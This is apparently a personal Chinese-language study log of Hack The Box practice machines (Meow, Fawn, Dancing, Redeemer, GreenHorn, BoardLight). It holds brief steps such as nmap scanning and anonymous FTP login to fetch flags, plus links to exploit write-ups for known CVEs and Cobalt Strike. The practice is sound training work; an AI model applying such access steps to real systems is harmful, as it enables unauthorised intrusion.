卡住了,似乎是没有权限,暂时没找到解决方案,转战HTB了,环境先留着,来日再战

HTB

配了好久的环境,真不容易

打的很不流畅,环境确实不太行,大概也跳车了,可能后面回去玩vulnhub的渗透和红日团队的红队实战系列

starting point

Meow

nmap去扫

image-20240807112941872

连接一下,根据提示拿到root权限

image-20240807113126375

拿到flag

image-20240807113136819

Fawn

扫,-A参数,使能系统探测、版本检测、脚本扫描、路由追踪

扫描结果里能看到该ftp允许匿名登录(账号:anonymous+空密码),并且能看到里面有flag文件

image-20240807115200089

连接后取下载flag.txt,然后本机就能看到flag了

image-20240807115525343

Dancing

image-20240808155735073

image-20240808160958165

image-20240808160937072

Redeemer

image-20240808163614059

image-20240808163717550

后面要付费了,starting point到此结束

Machines

GreenHorn

image-20240812130619118

BoardLight

image-20240812132309025

参考

记起来的时候就把参考/学习过/有帮助的文章扔到这边来

Joomla未授权访问漏洞|CVE-2023-23752复现及修复 - 那酒不要留 - 博客园 (cnblogs.com)

apisix/docs/zh/latest/plugins/batch-requests.md at ec0fc2ceaf04a20b0bd0ebdaad67296a1d3f621c · apache/apisix (github.com)

【技术干货】CVE-2022-24112 Apache APISIX 远程代码执行漏洞 (qq.com)

Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721) - Bypass - 博客园 (cnblogs.com)

log4j2原理分析及漏洞复现- CVE-2021-44228 - FreeBuf网络安全行业门户

java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户

【最新漏洞预警】CVE-2022-23134 Zabbix漏洞分析之二:从未授权访问到接管后台 | CTF导航 (ctfiot.com)

Zabbix setup.php 访问权限控制不当漏洞(CVE-2022-23134) | CN-SEC 中文网

ATT&CK实战系列——红队实战(一) - 先知社区 (aliyun.com)

ATT&CK实战系列——红队实战(一)_红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客-CSDN博客

ATT&CK实战系列——红队实战(一)完整版_att&ck实战系列一红队实战(一)-CSDN博客

ATT&cK实战系列—红队实战(一) | 佩里的实验室 (ppperrypan.github.io)

ATT&CK实战 | Vulnstack 红队(一) - FreeBuf网络安全行业门户

Kali 安装 Cobalt Strike 上线靶机小计_kali安装cobalt strike-CSDN博客